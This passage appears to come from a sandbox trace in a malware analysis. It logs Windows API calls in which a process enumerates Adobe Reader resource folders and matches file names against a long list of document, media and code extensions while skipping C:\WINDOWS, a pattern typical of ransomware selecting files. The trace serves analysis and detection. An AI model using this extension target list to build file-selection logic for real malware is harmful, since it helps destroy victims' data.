5 [0276.000] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0276.000] lstrlenW (lpString=".asp") returned 4 [0276.000] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0276.000] lstrlenW (lpString=".aspx") returned 5 [0276.000] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0276.000] lstrlenW (lpString=".asr") returned 4 [0276.000] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0276.000] lstrlenW (lpString=".asx") returned 4 [0276.001] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0276.001] lstrlenW (lpString=".avi") returned 4 [0276.001] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0276.001] lstrlenW (lpString=".avs") returned 4 [0276.001] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0276.001] lstrlenW (lpString=".backup") returned 7 [0276.001] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0276.001] lstrlenW (lpString=".bak") returned 4 [0276.001] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0276.001] lstrlenW (lpString=".bay") returned 4 [0276.001] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0276.001] lstrlenW (lpString=".bd") returned 3 [0276.001] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.001] lstrlenW (lpString=".bin") returned 4 [0276.001] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0276.001] lstrlenW (lpString=".bmp") returned 4 [0276.001] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0276.001] lstrlenW (lpString=".bz2") returned 4 [0276.001] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0276.001] lstrlenW (lpString=".c") returned 2 [0276.001] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.001] lstrlenW (lpString=".cdr") returned 4 [0276.001] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0276.001] lstrlenW (lpString=".cer") returned 4 [0276.001] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0276.001] lstrlenW (lpString=".cf") returned 3 [0276.001] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.001] lstrlenW (lpString=".cfc") returned 4 [0276.002] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0276.002] lstrlenW (lpString=".cfm") returned 4 [0276.002] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0276.002] lstrlenW (lpString=".cfml") returned 5 [0276.002] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0276.002] lstrlenW (lpString=".cfu") returned 4 [0276.002] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0276.002] lstrlenW (lpString=".chm") returned 4 [0276.002] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0276.002] lstrlenW (lpString=".cin") returned 4 [0276.002] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0276.002] lstrlenW (lpString=".class") returned 6 [0276.002] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0276.002] lstrlenW (lpString=".clx") returned 4 [0276.002] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0276.002] lstrlenW (lpString=".config") returned 7 [0276.002] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0276.002] lstrlenW (lpString=".cpp") returned 4 [0276.002] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0276.002] lstrlenW (lpString=".cr2") returned 4 [0276.002] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0276.002] lstrlenW (lpString=".crt") returned 4 [0276.002] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0276.002] lstrlenW (lpString=".crw") returned 4 [0276.002] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0276.002] lstrlenW (lpString=".cs") returned 3 [0276.003] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.003] lstrlenW (lpString=".css") returned 4 [0276.003] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0276.003] lstrlenW (lpString=".csv") returned 4 [0276.003] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0276.003] lstrlenW (lpString=".cub") returned 4 [0276.003] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0276.003] lstrlenW (lpString=".dae") returned 4 [0276.003] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0276.003] lstrlenW (lpString=".dat") returned 4 [0276.003] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0276.003] lstrlenW (lpString=".db") returned 3 [0276.003] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.003] lstrlenW (lpString=".dbf") returned 4 [0276.003] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0276.003] lstrlenW (lpString=".dbx") returned 4 [0276.003] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0276.003] lstrlenW (lpString=".dc3") returned 4 [0276.003] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0276.003] lstrlenW (lpString=".dcm") returned 4 [0276.003] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0276.003] lstrlenW (lpString=".dcr") returned 4 [0276.003] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0276.003] lstrlenW (lpString=".der") returned 4 [0276.004] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0276.004] lstrlenW (lpString=".dib") returned 4 [0276.004] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0276.004] lstrlenW (lpString=".dic") returned 4 [0276.004] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0276.004] lstrlenW (lpString=".dif") returned 4 [0276.004] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0276.004] lstrlenW (lpString=".divx") returned 5 [0276.004] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0276.004] lstrlenW (lpString=".djvu") returned 5 [0276.004] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0276.004] lstrlenW (lpString=".dng") returned 4 [0276.004] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0276.004] lstrlenW (lpString=".doc") returned 4 [0276.004] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0276.004] lstrlenW (lpString=".docm") returned 5 [0276.004] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0276.004] lstrlenW (lpString=".docx") returned 5 [0276.004] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0276.004] lstrlenW (lpString=".dot") returned 4 [0276.004] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0276.004] lstrlenW (lpString=".dotm") returned 5 [0276.004] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0276.004] lstrlenW (lpString=".dotx") returned 5 [0276.004] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0276.004] lstrlenW (lpString=".dpx") returned 4 [0276.004] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0276.004] lstrlenW (lpString=".dqy") returned 4 [0276.004] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".dsn") returned 4 [0276.005] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".dt") returned 3 [0276.005] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.005] lstrlenW (lpString=".dtd") returned 4 [0276.005] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".dwg") returned 4 [0276.005] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".dwt") returned 4 [0276.005] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".dx") returned 3 [0276.005] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.005] lstrlenW (lpString=".dxf") returned 4 [0276.005] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".edml") returned 5 [0276.005] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0276.005] lstrlenW (lpString=".efd") returned 4 [0276.005] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".elf") returned 4 [0276.005] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".emf") returned 4 [0276.005] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".emz") returned 4 [0276.005] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".epf") returned 4 [0276.005] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".eps") returned 4 [0276.005] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0276.005] lstrlenW (lpString=".epsf") returned 5 [0276.005] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0276.006] lstrlenW (lpString=".epsp") returned 5 [0276.006] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0276.006] lstrlenW (lpString=".erf") returned 4 [0276.006] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0276.006] lstrlenW (lpString=".exr") returned 4 [0276.006] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0276.006] lstrlenW (lpString=".f4v") returned 4 [0276.006] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0276.006] lstrlenW (lpString=".fido") returned 5 [0276.006] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0276.006] lstrlenW (lpString=".flm") returned 4 [0276.006] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0276.006] lstrlenW (lpString=".flv") returned 4 [0276.006] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0276.006] lstrlenW (lpString=".frm") returned 4 [0276.006] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0276.006] lstrlenW (lpString=".fxg") returned 4 [0276.006] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0276.006] lstrlenW (lpString=".geo") returned 4 [0276.006] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0276.006] lstrlenW (lpString=".gif") returned 4 [0276.006] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0276.006] lstrlenW (lpString=".grs") returned 4 [0276.006] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0276.006] lstrlenW (lpString=".gz") returned 3 [0276.006] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0276.006] lstrlenW (lpString=".h") returned 2 [0276.006] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0276.006] lstrlenW (lpString=".hdr") returned 4 [0276.006] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".hpp") returned 4 [0276.007] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".hta") returned 4 [0276.007] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".htc") returned 4 [0276.007] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".htm") returned 4 [0276.007] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".html") returned 5 [0276.007] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0276.007] lstrlenW (lpString=".icb") returned 4 [0276.007] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".ics") returned 4 [0276.007] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".iff") returned 4 [0276.007] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".inc") returned 4 [0276.007] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".indd") returned 5 [0276.007] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0276.007] lstrlenW (lpString=".ini") returned 4 [0276.007] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".iqy") returned 4 [0276.007] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".j2c") returned 4 [0276.007] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0276.007] lstrlenW (lpString=".j2k") returned 4 [0276.007] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0276.008] lstrlenW (lpString=".java") returned 5 [0276.008] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0276.008] lstrlenW (lpString=".jp2") returned 4 [0276.008] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0276.008] lstrlenW (lpString=".jpc") returned 4 [0276.008] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0276.008] lstrlenW (lpString=".jpe") returned 4 [0276.008] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0276.008] lstrlenW (lpString=".jpeg") returned 5 [0276.008] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0276.008] lstrlenW (lpString=".jpf") returned 4 [0276.008] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0276.008] lstrlenW (lpString=".jpg") returned 4 [0276.008] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0276.008] lstrlenW (lpString=".jpx") returned 4 [0276.008] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0276.008] lstrlenW (lpString=".js") returned 3 [0276.432] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0276.432] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.432] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0276.432] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.432] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0276.432] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\hu-hu") returned 131 [0276.432] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\hu-hu") returned 1 [0276.432] lstrlenW (lpString="hu-hu") returned 5 [0276.432] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hu-hu") returned -1 [0276.432] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.433] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\hu-hu") returned 131 [0276.433] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\hu-hu\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0276.433] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.433] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1349964, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.433] lstrlenW (lpString="ui-strings.js") returned 13 [0276.433] lstrlenW (lpString=".1cd") returned 4 [0276.433] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0276.433] lstrlenW (lpString=".3ds") returned 4 [0276.433] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0276.433] lstrlenW (lpString=".3fr") returned 4 [0276.434] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0276.434] lstrlenW (lpString=".3g2") returned 4 [0276.434] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0276.434] lstrlenW (lpString=".3gp") returned 4 [0276.434] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0276.434] lstrlenW (lpString=".7z") returned 3 [0276.434] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.434] lstrlenW (lpString=".accda") returned 6 [0276.434] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0276.434] lstrlenW (lpString=".accdb") returned 6 [0276.434] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0276.434] lstrlenW (lpString=".accdc") returned 6 [0276.434] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0276.434] lstrlenW (lpString=".accde") returned 6 [0276.434] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0276.434] lstrlenW (lpString=".accdt") returned 6 [0276.434] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0276.434] lstrlenW (lpString=".accdw") returned 6 [0276.434] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0276.434] lstrlenW (lpString=".adb") returned 4 [0276.434] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0276.434] lstrlenW (lpString=".adp") returned 4 [0276.434] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0276.434] lstrlenW (lpString=".ai") returned 3 [0276.434] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.434] lstrlenW (lpString=".ai3") returned 4 [0276.434] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0276.435] lstrlenW (lpString=".ai4") returned 4 [0276.435] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0276.435] lstrlenW (lpString=".ai5") returned 4 [0276.435] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0276.435] lstrlenW (lpString=".ai6") returned 4 [0276.435] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0276.435] lstrlenW (lpString=".ai7") returned 4 [0276.435] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0276.435] lstrlenW (lpString=".ai8") returned 4 [0276.435] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0276.435] lstrlenW (lpString=".anim") returned 5 [0276.435] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0276.435] lstrlenW (lpString=".arw") returned 4 [0276.435] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0276.435] lstrlenW (lpString=".as") returned 3 [0276.435] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.435] lstrlenW (lpString=".asa") returned 4 [0276.435] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0276.435] lstrlenW (lpString=".asc") returned 4 [0276.435] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0276.435] lstrlenW (lpString=".ascx") returned 5 [0276.435] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0276.435] lstrlenW (lpString=".asm") returned 4 [0276.435] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0276.435] lstrlenW (lpString=".asmx") returned 5 [0276.435] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0276.435] lstrlenW (lpString=".asp") returned 4 [0276.436] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0276.436] lstrlenW (lpString=".aspx") returned 5 [0276.436] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0276.436] lstrlenW (lpString=".asr") returned 4 [0276.436] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0276.436] lstrlenW (lpString=".asx") returned 4 [0276.436] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0276.436] lstrlenW (lpString=".avi") returned 4 [0276.436] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0276.436] lstrlenW (lpString=".avs") returned 4 [0276.436] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0276.436] lstrlenW (lpString=".backup") returned 7 [0276.436] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0276.436] lstrlenW (lpString=".bak") returned 4 [0276.436] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0276.436] lstrlenW (lpString=".bay") returned 4 [0276.436] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0276.436] lstrlenW (lpString=".bd") returned 3 [0276.436] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.436] lstrlenW (lpString=".bin") returned 4 [0276.436] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0276.436] lstrlenW (lpString=".bmp") returned 4 [0276.436] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0276.436] lstrlenW (lpString=".bz2") returned 4 [0276.436] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0276.436] lstrlenW (lpString=".c") returned 2 [0276.436] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.437] lstrlenW (lpString=".cdr") returned 4 [0276.437] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0276.437] lstrlenW (lpString=".cer") returned 4 [0276.437] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0276.437] lstrlenW (lpString=".cf") returned 3 [0276.437] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.437] lstrlenW (lpString=".cfc") returned 4 [0276.437] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0276.437] lstrlenW (lpString=".cfm") returned 4 [0276.437] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0276.437] lstrlenW (lpString=".cfml") returned 5 [0276.437] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0276.437] lstrlenW (lpString=".cfu") returned 4 [0276.437] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0276.437] lstrlenW (lpString=".chm") returned 4 [0276.437] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0276.437] lstrlenW (lpString=".cin") returned 4 [0276.437] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0276.437] lstrlenW (lpString=".class") returned 6 [0276.437] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0276.437] lstrlenW (lpString=".clx") returned 4 [0276.437] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0276.437] lstrlenW (lpString=".config") returned 7 [0276.437] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0276.437] lstrlenW (lpString=".cpp") returned 4 [0276.437] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0276.437] lstrlenW (lpString=".cr2") returned 4 [0276.437] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".crt") returned 4 [0276.438] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".crw") returned 4 [0276.438] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".cs") returned 3 [0276.438] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.438] lstrlenW (lpString=".css") returned 4 [0276.438] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".csv") returned 4 [0276.438] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".cub") returned 4 [0276.438] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".dae") returned 4 [0276.438] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".dat") returned 4 [0276.438] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".db") returned 3 [0276.438] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.438] lstrlenW (lpString=".dbf") returned 4 [0276.438] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".dbx") returned 4 [0276.438] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".dc3") returned 4 [0276.438] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".dcm") returned 4 [0276.438] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".dcr") returned 4 [0276.438] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0276.438] lstrlenW (lpString=".der") returned 4 [0276.438] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0276.439] lstrlenW (lpString=".dib") returned 4 [0276.439] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0276.439] lstrlenW (lpString=".dic") returned 4 [0276.439] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0276.439] lstrlenW (lpString=".dif") returned 4 [0276.439] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0276.439] lstrlenW (lpString=".divx") returned 5 [0276.439] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0276.439] lstrlenW (lpString=".djvu") returned 5 [0276.439] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0276.439] lstrlenW (lpString=".dng") returned 4 [0276.439] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0276.439] lstrlenW (lpString=".doc") returned 4 [0276.439] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0276.439] lstrlenW (lpString=".docm") returned 5 [0276.439] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0276.439] lstrlenW (lpString=".docx") returned 5 [0276.439] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0276.439] lstrlenW (lpString=".dot") returned 4 [0276.439] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0276.439] lstrlenW (lpString=".dotm") returned 5 [0276.439] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0276.439] lstrlenW (lpString=".dotx") returned 5 [0276.439] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0276.439] lstrlenW (lpString=".dpx") returned 4 [0276.439] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0276.439] lstrlenW (lpString=".dqy") returned 4 [0276.439] lstrcmpiW 